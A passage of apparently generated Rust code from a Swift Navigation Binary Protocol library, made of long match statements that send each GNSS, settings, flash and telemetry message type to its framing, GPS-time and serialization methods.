msg.to_frame(), SBP::MsgVelNEDCovGnss(msg) => msg.to_frame(), SBP::MsgPosECEFCovGnss(msg) => msg.to_frame(), SBP::MsgVelECEFCovGnss(msg) => msg.to_frame(), SBP::MsgNdbEvent(msg) => msg.to_frame(), SBP::MsgLog(msg) => msg.to_frame(), SBP::MsgFwd(msg) => msg.to_frame(), SBP::MsgSsrOrbitClockDepA(msg) => msg.to_frame(), SBP::MsgSsrOrbitClock(msg) => msg.to_frame(), SBP::MsgSsrCodeBiases(msg) => msg.to_frame(), SBP::MsgSsrPhaseBiases(msg) => msg.to_frame(), SBP::MsgSsrStecCorrectionDepA(msg) => msg.to_frame(), SBP::MsgSsrGriddedCorrectionNoStdDepA(msg) => msg.to_frame(), SBP::MsgSsrGridDefinitionDepA(msg) => msg.to_frame(), SBP::MsgSsrTileDefinition(msg) => msg.to_frame(), SBP::MsgSsrGriddedCorrectionDepA(msg) => msg.to_frame(), SBP::MsgSsrStecCorrection(msg) => msg.to_frame(), SBP::MsgSsrGriddedCorrection(msg) => msg.to_frame(), SBP::MsgSsrSatelliteApc(msg) => msg.to_frame(), SBP::MsgOsr(msg) => msg.to_frame(), SBP::MsgUserData(msg) => msg.to_frame(), SBP::MsgImuRaw(msg) => msg.to_frame(), SBP::MsgImuAux(msg) => msg.to_frame(), SBP::MsgMagRaw(msg) => msg.to_frame(), SBP::MsgOdometry(msg) => msg.to_frame(), SBP::MsgWheeltick(msg) => msg.to_frame(), SBP::MsgFileioConfigReq(msg) => msg.to_frame(), SBP::MsgFileioConfigResp(msg) => msg.to_frame(), SBP::MsgSbasRaw(msg) => msg.to_frame(), SBP::MsgLinuxCpuStateDepA(msg) => msg.to_frame(), SBP::MsgLinuxMemStateDepA(msg) => msg.to_frame(), SBP::MsgLinuxSysStateDepA(msg) => msg.to_frame(), SBP::MsgLinuxProcessSocketCounts(msg) => msg.to_frame(), SBP::MsgLinuxProcessSocketQueues(msg) => msg.to_frame(), SBP::MsgLinuxSocketUsage(msg) => msg.to_frame(), SBP::MsgLinuxProcessFdCount(msg) => msg.to_frame(), SBP::MsgLinuxProcessFdSummary(msg) => msg.to_frame(), SBP::MsgLinuxCpuState(msg) => msg.to_frame(), SBP::MsgLinuxMemState(msg) => msg.to_frame(), SBP::MsgLinuxSysState(msg) => msg.to_frame(), SBP::MsgStartup(msg) => msg.to_frame(), SBP::MsgDgnssStatus(msg) => msg.to_frame(), SBP::MsgInsStatus(msg) => msg.to_frame(), SBP::MsgCsacTelemetry(msg) => msg.to_frame(), SBP::MsgCsacTelemetryLabels(msg) => msg.to_frame(), SBP::MsgInsUpdates(msg) => msg.to_frame(), SBP::MsgGnssTimeOffset(msg) => msg.to_frame(), SBP::MsgPpsTime(msg) => msg.to_frame(), SBP::MsgGroupMeta(msg) => msg.to_frame(), SBP::MsgSolnMeta(msg) => msg.to_frame(), SBP::MsgSolnMetaDepA(msg) => msg.to_frame(), SBP::MsgStatusReport(msg) => msg.to_frame(), SBP::MsgHeartbeat(msg) => msg.to_frame(), SBP::Unknown(msg) => msg.to_frame(), } } fn write_frame(&self, buf: &mut Vec<u8>) -> Result<(), crate::FramerError> { match self { SBP::MsgPrintDep(msg) => msg.write_frame(buf), SBP::MsgTrackingStateDetailedDep(msg) => msg.write_frame(buf), SBP::MsgTrackingStateDepB(msg) => msg.write_frame(buf), SBP::MsgAcqResultDepB(msg) => msg.write_frame(buf), SBP::MsgAcqResultDepA(msg) => msg.write_frame(buf), SBP::MsgTrackingStateDepA(msg) => msg.write_frame(buf), SBP::MsgThreadState(msg) => msg.write_frame(buf), SBP::MsgUartStateDepa(msg) => msg.write_frame(buf), SBP::MsgIarState(msg) => msg.write_frame(buf), SBP::MsgEphemerisDepA(msg) => msg.write_frame(buf), SBP::MsgMaskSatelliteDep(msg) => msg.write_frame(buf), SBP::MsgTrackingIqDepA(msg) => msg.write_frame(buf), SBP::MsgUartState(msg) => msg.write_frame(buf), SBP::MsgAcqSvProfileDep(msg) => msg.write_frame(buf), SBP::MsgAcqResultDepC(msg) => msg.write_frame(buf), SBP::MsgTrackingStateDetailedDepA(msg) => msg.write_frame(buf), SBP::MsgResetFilters(msg) => msg.write_frame(buf), SBP::MsgInitBaseDep(msg) => msg.write_frame(buf), SBP::MsgMaskSatellite(msg) => msg.write_frame(buf), SBP::MsgTrackingIqDepB(msg) => msg.write_frame(buf), SBP::MsgTrackingIq(msg) => msg.write_frame(buf), SBP::MsgAcqSvProfile(msg) => msg.write_frame(buf), SBP::MsgAcqResult(msg) => msg.write_frame(buf), SBP::MsgTrackingState(msg) => msg.write_frame(buf), SBP::MsgObsDepB(msg) => msg.write_frame(buf), SBP::MsgBasePosLLH(msg) => msg.write_frame(buf), SBP::MsgObsDepA(msg) => msg.write_frame(buf), SBP::MsgEphemerisDepB(msg) => msg.write_frame(buf), SBP::MsgEphemerisDepC(msg) => msg.write_frame(buf), SBP::MsgBasePosECEF(msg) => msg.write_frame(buf), SBP::MsgObsDepC(msg) => msg.write_frame(buf), SBP::MsgObs(msg) => msg.write_frame(buf), SBP::MsgSpecanDep(msg) => msg.write_frame(buf), SBP::MsgSpecan(msg) => msg.write_frame(buf), SBP::MsgMeasurementState(msg) => msg.write_frame(buf), SBP::MsgSetTime(msg) => msg.write_frame(buf), SBP::MsgAlmanac(msg) => msg.write_frame(buf), SBP::MsgAlmanacGPSDep(msg) => msg.write_frame(buf), SBP::MsgAlmanacGloDep(msg) => msg.write_frame(buf), SBP::MsgAlmanacGPS(msg) => msg.write_frame(buf), SBP::MsgAlmanacGlo(msg) => msg.write_frame(buf), SBP::MsgGloBiases(msg) => msg.write_frame(buf), SBP::MsgEphemerisDepD(msg) => msg.write_frame(buf), SBP::MsgEphemerisGPSDepE(msg) => msg.write_frame(buf), SBP::MsgEphemerisSbasDepA(msg) => msg.write_frame(buf), SBP::MsgEphemerisGloDepA(msg) => msg.write_frame(buf), SBP::MsgEphemerisSbasDepB(msg) => msg.write_frame(buf), SBP::MsgEphemerisGloDepB(msg) => msg.write_frame(buf), SBP::MsgEphemerisGPSDepF(msg) => msg.write_frame(buf), SBP::MsgEphemerisGloDepC(msg) => msg.write_frame(buf), SBP::MsgEphemerisGloDepD(msg) => msg.write_frame(buf), SBP::MsgEphemerisBds(msg) => msg.write_frame(buf), SBP::MsgEphemerisGPS(msg) => msg.write_frame(buf), SBP::MsgEphemerisGlo(msg) => msg.write_frame(buf), SBP::MsgEphemerisSbas(msg) => msg.write_frame(buf), SBP::MsgEphemerisGal(msg) => msg.write_frame(buf), SBP::MsgEphemerisQzss(msg) => msg.write_frame(buf), SBP::MsgIono(msg) => msg.write_frame(buf), SBP::MsgSvConfigurationGPSDep(msg) => msg.write_frame(buf), SBP::MsgGroupDelayDepA(msg) => msg.write_frame(buf), SBP::MsgGroupDelayDepB(msg) => msg.write_frame(buf), SBP::MsgGroupDelay(msg) => msg.write_frame(buf), SBP::MsgEphemerisGalDepA(msg) => msg.write_frame(buf), SBP::MsgGnssCapb(msg) => msg.write_frame(buf), SBP::MsgSvAzEl(msg) => msg.write_frame(buf), SBP::MsgSettingsWrite(msg) => msg.write_frame(buf), SBP::MsgSettingsSave(msg) => msg.write_frame(buf), SBP::MsgSettingsReadByIndexReq(msg) => msg.write_frame(buf), SBP::MsgFileioReadResp(msg) => msg.write_frame(buf), SBP::MsgSettingsReadReq(msg) => msg.write_frame(buf), SBP::MsgSettingsReadResp(msg) => msg.write_frame(buf), SBP::MsgSettingsReadByIndexDone(msg) => msg.write_frame(buf), SBP::MsgSettingsReadByIndexResp(msg) => msg.write_frame(buf), SBP::MsgFileioReadReq(msg) => msg.write_frame(buf), SBP::MsgFileioReadDirReq(msg) => msg.write_frame(buf), SBP::MsgFileioReadDirResp(msg) => msg.write_frame(buf), SBP::MsgFileioWriteResp(msg) => msg.write_frame(buf), SBP::MsgFileioRemove(msg) => msg.write_frame(buf), SBP::MsgFileioWriteReq(msg) => msg.write_frame(buf), SBP::MsgSettingsRegister(msg) => msg.write_frame(buf), SBP::MsgSettingsWriteResp(msg) => msg.write_frame(buf), SBP::MsgBootloaderHandshakeDepA(msg) => msg.write_frame(buf), SBP::MsgBootloaderJumpToApp(msg) => msg.write_frame(buf), SBP::MsgResetDep(msg) => msg.write_frame(buf), SBP::MsgBootloaderHandshakeReq(msg) => msg.write_frame(buf), SBP::MsgBootloaderHandshakeResp(msg) => msg.write_frame(buf), SBP::MsgDeviceMonitor(msg) => msg.write_frame(buf), SBP::MsgReset(msg) => msg.write_frame(buf), SBP::MsgCommandReq(msg) => msg.write_frame(buf), SBP::MsgCommandResp(msg) => msg.write_frame(buf), SBP::MsgNetworkStateReq(msg) => msg.write_frame(buf), SBP::MsgNetworkStateResp(msg) => msg.write_frame(buf), SBP::MsgCommandOutput(msg) => msg.write_frame(buf), SBP::MsgNetworkBandwidthUsage(msg) => msg.write_frame(buf), SBP::MsgCellModemStatus(msg) => msg.write_frame(buf), SBP::MsgFrontEndGain(msg) => msg.write_frame(buf), SBP::MsgCwResults(msg) => msg.write_frame(buf), SBP::MsgCwStart(msg) => msg.write_frame(buf), SBP::MsgNapDeviceDnaResp(msg) => msg.write_frame(buf), SBP::MsgNapDeviceDnaReq(msg) => msg.write_frame(buf), SBP::MsgFlashDone(msg) => msg.write_frame(buf), SBP::MsgFlashReadResp(msg) => msg.write_frame(buf), SBP::MsgFlashErase(msg) => msg.write_frame(buf), SBP::MsgStmFlashLockSector(msg) => msg.write_frame(buf), SBP::MsgStmFlashUnlockSector(msg) => msg.write_frame(buf), SBP::MsgStmUniqueIdResp(msg) => msg.write_frame(buf), SBP::MsgFlashProgram(msg) => msg.write_frame(buf), SBP::MsgFlashReadReq(msg) => msg.write_frame(buf), SBP::MsgStmUniqueIdReq(msg) => msg.write_frame(buf), SBP::MsgM25FlashWriteStatus(msg) => msg.write_frame(buf), SBP::MsgGPSTimeDepA(msg) => msg.write_frame(buf), SBP::MsgExtEvent(msg) => msg.write_frame(buf), SBP::MsgGPSTime(msg) => msg.write_frame(buf), SBP::MsgUtcTime(msg) => msg.write_frame(buf), SBP::MsgGPSTimeGnss(msg) => msg.write_frame(buf), SBP::MsgUtcTimeGnss(msg) => msg.write_frame(buf), SBP::MsgSettingsRegisterResp(msg) => msg.write_frame(buf), SBP::MsgPosECEFDepA(msg) => msg.write_frame(buf), SBP::MsgPosLLHDepA(msg) => msg.write_frame(buf), SBP::MsgBaselineECEFDepA(msg) => msg.write_frame(buf), SBP::MsgBaselineNEDDepA(msg) => msg.write_frame(buf), SBP::MsgVelECEFDepA(msg) => msg.write_frame(buf), SBP::MsgVelNEDDepA(msg) => msg.write_frame(buf), SBP::MsgDopsDepA(msg) => msg.write_frame(buf), SBP::MsgBaselineHeadingDepA(msg) => msg.write_frame(buf), SBP::MsgDops(msg) => msg.write_frame(buf), SBP::MsgPosECEF(msg) => msg.write_frame(buf), SBP::MsgPosLLH(msg) => msg.write_frame(buf), SBP::MsgBaselineECEF(msg) => msg.write_frame(buf), SBP::MsgBaselineNED(msg) => msg.write_frame(buf), SBP::MsgVelECEF(msg) => msg.write_frame(buf), SBP::MsgVelNED(msg) => msg.write_frame(buf), SBP::MsgBaselineHeading(msg) => msg.write_frame(buf), SBP::MsgAgeCorrections(msg) => msg.write_frame(buf), SBP::MsgPosLLHCov(msg) => msg.write_frame(buf), SBP::MsgVelNEDCov(msg) => msg.write_frame(buf), SBP::MsgVelBody(msg) => msg.write_frame(buf), SBP::MsgPosECEFCov(msg) => msg.write_frame(buf), SBP::MsgVelECEFCov(msg) => msg.write_frame(buf), SBP::MsgProtectionLevelDepA(msg) => msg.write_frame(buf), SBP::MsgProtectionLevel(msg) => msg.write_frame(buf), SBP::MsgPosLLHAcc(msg) => msg.write_frame(buf), SBP::MsgOrientQuat(msg) => msg.write_frame(buf), SBP::MsgOrientEuler(msg) => msg.write_frame(buf), SBP::MsgAngularRate(msg) => msg.write_frame(buf), SBP::MsgPosECEFGnss(msg) => msg.write_frame(buf), SBP::MsgPosLLHGnss(msg) => msg.write_frame(buf), SBP::MsgVelECEFGnss(msg) => msg.write_frame(buf), SBP::MsgVelNEDGnss(msg) => msg.write_frame(buf), SBP::MsgPosLLHCovGnss(msg) => msg.write_frame(buf), SBP::MsgVelNEDCovGnss(msg) => msg.write_frame(buf), SBP::MsgPosECEFCovGnss(msg) => msg.write_frame(buf), SBP::MsgVelECEFCovGnss(msg) => msg.write_frame(buf), SBP::MsgNdbEvent(msg) => msg.write_frame(buf), SBP::MsgLog(msg) => msg.write_frame(buf), SBP::MsgFwd(msg) => msg.write_frame(buf), SBP::MsgSsrOrbitClockDepA(msg) => msg.write_frame(buf), SBP::MsgSsrOrbitClock(msg) => msg.write_frame(buf), SBP::MsgSsrCodeBiases(msg) => msg.write_frame(buf), SBP::MsgSsrPhaseBiases(msg) => msg.write_frame(buf), SBP::MsgSsrStecCorrectionDepA(msg) => msg.write_frame(buf), SBP::MsgSsrGriddedCorrectionNoStdDepA(msg) => msg.write_frame(buf), SBP::MsgSsrGridDefinitionDepA(msg) => msg.write_frame(buf), SBP::MsgSsrTileDefinition(msg) => msg.write_frame(buf), SBP::MsgSsrGriddedCorrectionDepA(msg) => msg.write_frame(buf), SBP::MsgSsrStecCorrection(msg) => msg.write_frame(buf), SBP::MsgSsrGriddedCorrection(msg) => msg.write_frame(buf), SBP::MsgSsrSatelliteApc(msg) => msg.write_frame(buf), SBP::MsgOsr(msg) => msg.write_frame(buf), SBP::MsgUserData(msg) => msg.write_frame(buf), SBP::MsgImuRaw(msg) => msg.write_frame(buf), SBP::MsgImuAux(msg) => msg.write_frame(buf), SBP::MsgMagRaw(msg) => msg.write_frame(buf), SBP::MsgOdometry(msg) => msg.write_frame(buf), SBP::MsgWheeltick(msg) => msg.write_frame(buf), SBP::MsgFileioConfigReq(msg) => msg.write_frame(buf), SBP::MsgFileioConfigResp(msg) => msg.write_frame(buf), SBP::MsgSbasRaw(msg) => msg.write_frame(buf), SBP::MsgLinuxCpuStateDepA(msg) => msg.write_frame(buf), SBP::MsgLinuxMemStateDepA(msg) => msg.write_frame(buf), SBP::MsgLinuxSysStateDepA(msg) => msg.write_frame(buf), SBP::MsgLinuxProcessSocketCounts(msg) => msg.write_frame(buf), SBP::MsgLinuxProcessSocketQueues(msg) => msg.write_frame(buf), SBP::MsgLinuxSocketUsage(msg) => msg.write_frame(buf), SBP::MsgLinuxProcessFdCount(msg) => msg.write_frame(buf), SBP::MsgLinuxProcessFdSummary(msg) => msg.write_frame(buf), SBP::MsgLinuxCpuState(msg) => msg.write_frame(buf), SBP::MsgLinuxMemState(msg) => msg.write_frame(buf), SBP::MsgLinuxSysState(msg) => msg.write_frame(buf), SBP::MsgStartup(msg) => msg.write_frame(buf), SBP::MsgDgnssStatus(msg) => msg.write_frame(buf), SBP::MsgInsStatus(msg) => msg.write_frame(buf), SBP::MsgCsacTelemetry(msg) => msg.write_frame(buf), SBP::MsgCsacTelemetryLabels(msg) => msg.write_frame(buf), SBP::MsgInsUpdates(msg) => msg.write_frame(buf), SBP::MsgGnssTimeOffset(msg) => msg.write_frame(buf), SBP::MsgPpsTime(msg) => msg.write_frame(buf), SBP::MsgGroupMeta(msg) => msg.write_frame(buf), SBP::MsgSolnMeta(msg) => msg.write_frame(buf), SBP::MsgSolnMetaDepA(msg) => msg.write_frame(buf), SBP::MsgStatusReport(msg) => msg.write_frame(buf), SBP::MsgHeartbeat(msg) => msg.write_frame(buf), SBP::Unknown(msg) => msg.write_frame(buf), } } #[cfg(feature = "swiftnav-rs")] fn gps_time( &self, ) -> Option<std::result::Result<crate::time::MessageTime, crate::time::GpsTimeError>> { match self { SBP::MsgPrintDep(msg) => msg.gps_time(), SBP::MsgTrackingStateDetailedDep(msg) => msg.gps_time(), SBP::MsgTrackingStateDepB(msg) => msg.gps_time(), SBP::MsgAcqResultDepB(msg) => msg.gps_time(), SBP::MsgAcqResultDepA(msg) => msg.gps_time(), SBP::MsgTrackingStateDepA(msg) => msg.gps_time(), SBP::MsgThreadState(msg) => msg.gps_time(), SBP::MsgUartStateDepa(msg) => msg.gps_time(), SBP::MsgIarState(msg) => msg.gps_time(), SBP::MsgEphemerisDepA(msg) => msg.gps_time(), SBP::MsgMaskSatelliteDep(msg) => msg.gps_time(), SBP::MsgTrackingIqDepA(msg) => msg.gps_time(), SBP::MsgUartState(msg) => msg.gps_time(), SBP::MsgAcqSvProfileDep(msg) => msg.gps_time(), SBP::MsgAcqResultDepC(msg) => msg.gps_time(), SBP::MsgTrackingStateDetailedDepA(msg) => msg.gps_time(), SBP::MsgResetFilters(msg) => msg.gps_time(), SBP::MsgInitBaseDep(msg) => msg.gps_time(), SBP::MsgMaskSatellite(msg) => msg.gps_time(), SBP::MsgTrackingIqDepB(msg) => msg.gps_time(), SBP::MsgTrackingIq(msg) => msg.gps_time(), SBP::MsgAcqSvProfile(msg) => msg.gps_time(), SBP::MsgAcqResult(msg) => msg.gps_time(), SBP::MsgTrackingState(msg) => msg.gps_time(), SBP::MsgObsDepB(msg) => msg.gps_time(), SBP::MsgBasePosLLH(msg) => msg.gps_time(), SBP::MsgObsDepA(msg) => msg.gps_time(), SBP::MsgEphemerisDepB(msg) => msg.gps_time(), SBP::MsgEphemerisDepC(msg) => msg.gps_time(), SBP::MsgBasePosECEF(msg) => msg.gps_time(), SBP::MsgObsDepC(msg) => msg.gps_time(), SBP::MsgObs(msg) => msg.gps_time(), SBP::MsgSpecanDep(msg) => msg.gps_time(), SBP::MsgSpecan(msg) => msg.gps_time(), SBP::MsgMeasurementState(msg) => msg.gps_time(), SBP::MsgSetTime(msg) => msg.gps_time(), SBP::MsgAlmanac(msg) => msg.gps_time(), SBP::MsgAlmanacGPSDep(msg) => msg.gps_time(), SBP::MsgAlmanacGloDep(msg) => msg.gps_time(), SBP::MsgAlmanacGPS(msg) => msg.gps_time(), SBP::MsgAlmanacGlo(msg) => msg.gps_time(), SBP::MsgGloBiases(msg) => msg.gps_time(), SBP::MsgEphemerisDepD(msg) => msg.gps_time(), SBP::MsgEphemerisGPSDepE(msg) => msg.gps_time(), SBP::MsgEphemerisSbasDepA(msg) => msg.gps_time(), SBP::MsgEphemerisGloDepA(msg) => msg.gps_time(), SBP::MsgEphemerisSbasDepB(msg) => msg.gps_time(), SBP::MsgEphemerisGloDepB(msg) => msg.gps_time(), SBP::MsgEphemerisGPSDepF(msg) => msg.gps_time(), SBP::MsgEphemerisGloDepC(msg) => msg.gps_time(), SBP::MsgEphemerisGloDepD(msg) => msg.gps_time(), SBP::MsgEphemerisBds(msg) => msg.gps_time(), SBP::MsgEphemerisGPS(msg) => msg.gps_time(), SBP::MsgEphemerisGlo(msg) => msg.gps_time(), SBP::MsgEphemerisSbas(msg) => msg.gps_time(), SBP::MsgEphemerisGal(msg) => msg.gps_time(), SBP::MsgEphemerisQzss(msg) => msg.gps_time(), SBP::MsgIono(msg) => msg.gps_time(), SBP::MsgSvConfigurationGPSDep(msg) => msg.gps_time(), SBP::MsgGroupDelayDepA(msg) => msg.gps_time(), SBP::MsgGroupDelayDepB(msg) => msg.gps_time(), SBP::MsgGroupDelay(msg) => msg.gps_time(), SBP::MsgEphemerisGalDepA(msg) => msg.gps_time(), SBP::MsgGnssCapb(msg) => msg.gps_time(), SBP::MsgSvAzEl(msg) => msg.gps_time(), SBP::MsgSettingsWrite(msg) => msg.gps_time(), SBP::MsgSettingsSave(msg) => msg.gps_time(), SBP::MsgSettingsReadByIndexReq(msg) => msg.gps_time(), SBP::MsgFileioReadResp(msg) => msg.gps_time(), SBP::MsgSettingsReadReq(msg) => msg.gps_time(), SBP::MsgSettingsReadResp(msg) => msg.gps_time(), SBP::MsgSettingsReadByIndexDone(msg) => msg.gps_time(), SBP::MsgSettingsReadByIndexResp(msg) => msg.gps_time(), SBP::MsgFileioReadReq(msg) => msg.gps_time(), SBP::MsgFileioReadDirReq(msg) => msg.gps_time(), SBP::MsgFileioReadDirResp(msg) => msg.gps_time(), SBP::MsgFileioWriteResp(msg) => msg.gps_time(), SBP::MsgFileioRemove(msg) => msg.gps_time(), SBP::MsgFileioWriteReq(msg) => msg.gps_time(), SBP::MsgSettingsRegister(msg) => msg.gps_time(), SBP::MsgSettingsWriteResp(msg) => msg.gps_time(), SBP::MsgBootloaderHandshakeDepA(msg) => msg.gps_time(), SBP::MsgBootloaderJumpToApp(msg) => msg.gps_time(), SBP::MsgResetDep(msg) => msg.gps_time(), SBP::MsgBootloaderHandshakeReq(msg) => msg.gps_time(), SBP::MsgBootloaderHandshakeResp(msg) => msg.gps_time(), SBP::MsgDeviceMonitor(msg) => msg.gps_time(), SBP::MsgReset(msg) => msg.gps_time(), SBP::MsgCommandReq(msg) => msg.gps_time(), SBP::MsgCommandResp(msg) => msg.gps_time(), SBP::MsgNetworkStateReq(msg) => msg.gps_time(), SBP::MsgNetworkStateResp(msg) => msg.gps_time(), SBP::MsgCommandOutput(msg) => msg.gps_time(), SBP::MsgNetworkBandwidthUsage(msg) => msg.gps_time(), SBP::MsgCellModemStatus(msg) => msg.gps_time(), SBP::MsgFrontEndGain(msg) => msg.gps_time(), SBP::MsgCwResults(msg) => msg.gps_time(), SBP::MsgCwStart(msg) => msg.gps_time(), SBP::MsgNapDeviceDnaResp(msg) => msg.gps_time(), SBP::MsgNapDeviceDnaReq(msg) => msg.gps_time(), SBP::MsgFlashDone(msg) => msg.gps_time(), SBP::MsgFlashReadResp(msg) => msg.gps_time(), SBP::MsgFlashErase(msg) => msg.gps_time(), SBP::MsgStmFlashLockSector(msg) => msg.gps_time(), SBP::MsgStmFlashUnlockSector(msg) => msg.gps_time(), SBP::MsgStmUniqueIdResp(msg) => msg.gps_time(), SBP::MsgFlashProgram(msg) => msg.gps_time(), SBP::MsgFlashReadReq(msg) => msg.gps_time(), SBP::MsgStmUniqueIdReq(msg) => msg.gps_time(), SBP::MsgM25FlashWriteStatus(msg) => msg.gps_time(), SBP::MsgGPSTimeDepA(msg) => msg.gps_time(), SBP::MsgExtEvent(msg) => msg.gps_time(), SBP::MsgGPSTime(msg) => msg.gps_time(), SBP::MsgUtcTime(msg) => msg.gps_time(), SBP::MsgGPSTimeGnss(msg) => msg.gps_time(), SBP::MsgUtcTimeGnss(msg) => msg.gps_time(), SBP::MsgSettingsRegisterResp(msg) => msg.gps_time(), SBP::MsgPosECEFDepA(msg) => msg.gps_time(), SBP::MsgPosLLHDepA(msg) => msg.gps_time(), SBP::MsgBaselineECEFDepA(msg) => msg.gps_time(), SBP::MsgBaselineNEDDepA(msg) => msg.gps_time(), SBP::MsgVelECEFDepA(msg) => msg.gps_time(), SBP::MsgVelNEDDepA(msg) => msg.gps_time(), SBP::MsgDopsDepA(msg) => msg.gps_time(), SBP::MsgBaselineHeadingDepA(msg) => msg.gps_time(), SBP::MsgDops(msg) => msg.gps_time(), SBP::MsgPosECEF(msg) => msg.gps_time(), SBP::MsgPosLLH(msg) => msg.gps_time(), SBP::MsgBaselineECEF(msg) => msg.gps_time(), SBP::MsgBaselineNED(msg) => msg.gps_time(), SBP::MsgVelECEF(msg) => msg.gps_time(), SBP::MsgVelNED(msg) => msg.gps_time(), SBP::MsgBaselineHeading(msg) => msg.gps_time(), SBP::MsgAgeCorrections(msg) => msg.gps_time(), SBP::MsgPosLLHCov(msg) => msg.gps_time(), SBP::MsgVelNEDCov(msg) => msg.gps_time(), SBP::MsgVelBody(msg) => msg.gps_time(), SBP::MsgPosECEFCov(msg) => msg.gps_time(), SBP::MsgVelECEFCov(msg) => msg.gps_time(), SBP::MsgProtectionLevelDepA(msg) => msg.gps_time(), SBP::MsgProtectionLevel(msg) => msg.gps_time(), SBP::MsgPosLLHAcc(msg) => msg.gps_time(), SBP::MsgOrientQuat(msg) => msg.gps_time(), SBP::MsgOrientEuler(msg) => msg.gps_time(), SBP::MsgAngularRate(msg) => msg.gps_time(), SBP::MsgPosECEFGnss(msg) => msg.gps_time(), SBP::MsgPosLLHGnss(msg) => msg.gps_time(), SBP::MsgVelECEFGnss(msg) => msg.gps_time(), SBP::MsgVelNEDGnss(msg) => msg.gps_time(), SBP::MsgPosLLHCovGnss(msg) => msg.gps_time(), SBP::MsgVelNEDCovGnss(msg) => msg.gps_time(), SBP::MsgPosECEFCovGnss(msg) => msg.gps_time(), SBP::MsgVelECEFCovGnss(msg) => msg.gps_time(), SBP::MsgNdbEvent(msg) => msg.gps_time(), SBP::MsgLog(msg) => msg.gps_time(), SBP::MsgFwd(msg) => msg.gps_time(), SBP::MsgSsrOrbitClockDepA(msg) => msg.gps_time(), SBP::MsgSsrOrbitClock(msg) => msg.gps_time(), SBP::MsgSsrCodeBiases(msg) => msg.gps_time(), SBP::MsgSsrPhaseBiases(msg) => msg.gps_time(), SBP::MsgSsrStecCorrectionDepA(msg) => msg.gps_time(), SBP::MsgSsrGriddedCorrectionNoStdDepA(msg) => msg.gps_time(), SBP::MsgSsrGridDefinitionDepA(msg) => msg.gps_time(), SBP::MsgSsrTileDefinition(msg) => msg.gps_time(), SBP::MsgSsrGriddedCorrectionDepA(msg) => msg.gps_time(), SBP::MsgSsrStecCorrection(msg) => msg.gps_time(), SBP::MsgSsrGriddedCorrection(msg) => msg.gps_time(), SBP::MsgSsrSatelliteApc(msg) => msg.gps_time(), SBP::MsgOsr(msg) => msg.gps_time(), SBP::MsgUserData(msg) => msg.gps_time(), SBP::MsgImuRaw(msg) => msg.gps_time(), SBP::MsgImuAux(msg) => msg.gps_time(), SBP::MsgMagRaw(msg) => msg.gps_time(), SBP::MsgOdometry(msg) => msg.gps_time(), SBP::MsgWheeltick(msg) => msg.gps_time(), SBP::MsgFileioConfigReq(msg) => msg.gps_time(), SBP::MsgFileioConfigResp(msg) => msg.gps_time(), SBP::MsgSbasRaw(msg) => msg.gps_time(), SBP::MsgLinuxCpuStateDepA(msg) => msg.gps_time(), SBP::MsgLinuxMemStateDepA(msg) => msg.gps_time(), SBP::MsgLinuxSysStateDepA(msg) => msg.gps_time(), SBP::MsgLinuxProcessSocketCounts(msg) => msg.gps_time(), SBP::MsgLinuxProcessSocketQueues(msg) => msg.gps_time(), SBP::MsgLinuxSocketUsage(msg) => msg.gps_time(), SBP::MsgLinuxProcessFdCount(msg) => msg.gps_time(), SBP::MsgLinuxProcessFdSummary(msg) => msg.gps_time(), SBP::MsgLinuxCpuState(msg) => msg.gps_time(), SBP::MsgLinuxMemState(msg) => msg.gps_time(), SBP::MsgLinuxSysState(msg) => msg.gps_time(), SBP::MsgStartup(msg) => msg.gps_time(), SBP::MsgDgnssStatus(msg) => msg.gps_time(), SBP::MsgInsStatus(msg) => msg.gps_time(), SBP::MsgCsacTelemetry(msg) => msg.gps_time(), SBP::MsgCsacTelemetryLabels(msg) => msg.gps_time(), SBP::MsgInsUpdates(msg) => msg.gps_time(), SBP::MsgGnssTimeOffset(msg) => msg.gps_time(), SBP::MsgPpsTime(msg) => msg.gps_time(), SBP::MsgGroupMeta(msg) => msg.gps_time(), SBP::MsgSolnMeta(msg) => msg.gps_time(), SBP::MsgSolnMetaDepA(msg) => msg.gps_time(), SBP::MsgStatusReport(msg) => msg.gps_time(), SBP::MsgHeartbeat(msg) => msg.gps_time(), SBP::Unknown(msg) => msg.gps_time(), } } } impl crate::SbpSerialize for SBP { fn append_to_sbp_buffer(&self, buf: &mut Vec<u8>) { match self { SBP::MsgPrintDep(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgTrackingStateDetailedDep(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgTrackingStateDepB(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgAcqResultDepB(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgAcqResultDepA(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgTrackingStateDepA(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgThreadState(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgUartStateDepa(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgIarState(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgEphemerisDepA(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgMaskSatelliteDep(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgTrackingIqDepA(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgUartState(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgAcqSvProfileDep(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgAcqResultDepC(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgTrackingStateDetailedDepA(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgResetFilters(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgInitBaseDep(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgMaskSatellite(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgTrackingIqDepB(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgTrackingIq(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgAcqSvProfile(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgAcqResult(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgTrackingState(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgObsDepB(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgBasePosLLH(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgObsDepA(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgEphemerisDepB(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgEphemerisDepC(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgBasePosECEF(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgObsDepC(msg) => msg.append_to_sbp_buffer(buf), SBP::MsgObs(msg) => msg.append_to_sbp_buffer(buf), 